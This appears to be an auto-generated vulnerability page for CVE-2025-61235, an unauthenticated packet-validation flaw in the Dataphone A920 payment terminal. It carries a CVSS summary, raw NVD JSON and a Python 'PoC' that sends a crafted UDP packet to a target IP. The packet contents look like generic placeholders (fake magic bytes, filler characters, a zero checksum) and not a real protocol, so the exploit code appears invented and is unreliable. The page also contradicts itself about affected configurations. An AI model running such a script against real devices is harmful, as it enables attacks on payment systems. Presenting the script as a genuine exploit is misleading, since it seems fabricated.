Security Vulnerability Report
中文
CVE-2025-61235 CVSS 9.1 CRITICAL

CVE-2025-61235

Published: 2025-10-28 20:15:50
Last Modified: 2026-04-15 00:35:42

Description

An issue was discovered in Dataphone A920 v2025.07.161103. A custom packet based on public documentation can be crafted, where some fields can contain arbitrary or trivial data. Normally, such data should cause the device to reject the packet. However, due to a lack of validation, the device accepts it with no authetication and triggers the functionality instead.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Dataphone A920 < 2025.07.161103
Dataphone A920 v2025.07.161103 (affected)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-61235 PoC - Dataphone A920 Authentication Bypass Note: This PoC is for educational and security research purposes only. """ import socket import struct import sys def craft_malicious_packet(): """ Craft a malicious packet based on public documentation. Fields contain arbitrary/trivial data that should be rejected but is accepted due to lack of validation. """ # Packet header (based on public documentation) header = b'\xAA\xBB\xCC\xDD' # Protocol magic bytes # Packet type - trigger functionality (arbitrary value) packet_type = b'\x00\x01' # Arbitrary fields that should normally cause rejection arbitrary_field1 = b'\x41' * 16 # Trivial repeated data arbitrary_field2 = b'\x42' * 8 # Payload with arbitrary data payload = b'\xFF\xFF\xFF\xFF' # Should trigger validation failure # Construct full packet packet = header + packet_type + arbitrary_field1 + arbitrary_field2 + payload # Add length and checksum (trivial values) length = struct.pack('<H', len(packet) + 4) checksum = b'\x00\x00' # Invalid checksum, but accepted return length + packet + checksum def exploit(target_ip, target_port=8080): """ Send malicious packet to trigger functionality without authentication. """ try: print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Crafting malicious packet for CVE-2025-61235...") packet = craft_malicious_packet() print(f"[*] Packet size: {len(packet)} bytes") print(f"[*] Sending packet...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[!] Device should trigger functionality without authentication") try: response, addr = sock.recvfrom(4096) print(f"[*] Received response: {response.hex()}") except socket.timeout: print(f"[*] No response received (may indicate successful exploitation)") sock.close() except Exception as e: print(f"[-] Error: {str(e)}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-61235.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61235", "sourceIdentifier": "[email protected]", "published": "2025-10-28T20:15:49.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Dataphone A920 v2025.07.161103. A custom packet based on public documentation can be crafted, where some fields can contain arbitrary or trivial data. Normally, such data should cause the device to reject the packet. However, due to a lack of validation, the device accepts it with no authetication and triggers the functionality instead."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://github.com/stuxve/poc-dataphone-crafted-packet", "source": "[email protected]"}]}}